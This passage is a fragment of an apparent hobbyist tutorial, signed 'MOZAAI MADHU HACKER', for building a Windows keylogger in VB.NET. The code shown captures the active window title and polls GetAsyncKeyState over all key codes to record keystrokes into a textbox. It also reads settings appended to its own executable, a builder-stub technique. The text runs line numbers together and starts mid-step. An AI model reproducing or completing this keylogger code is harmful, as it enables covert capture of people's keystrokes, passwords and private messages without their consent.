  • 4. 2 3 4 vbNewLine strin = GetActiveWindowTitle() End If Now double click Form1 and write following code: 1 2 3 4 5 6 7 8 9 10 11 FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) text1 = Space(LOF(1)) text2 = Space(LOF(1)) FileGet(1, text1) FileGet(1, text2) FileClose(1) options = Split(text1, FileSplit) TextBox2.Text = options(1) TextBox3.Text = options(2) Timer1.Start() Timer2.Start() Now double click Timer3 and past code: 1 2 3 4 5 6 7 For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i You are done! Enjoy. MOZAAI MADHU HACKER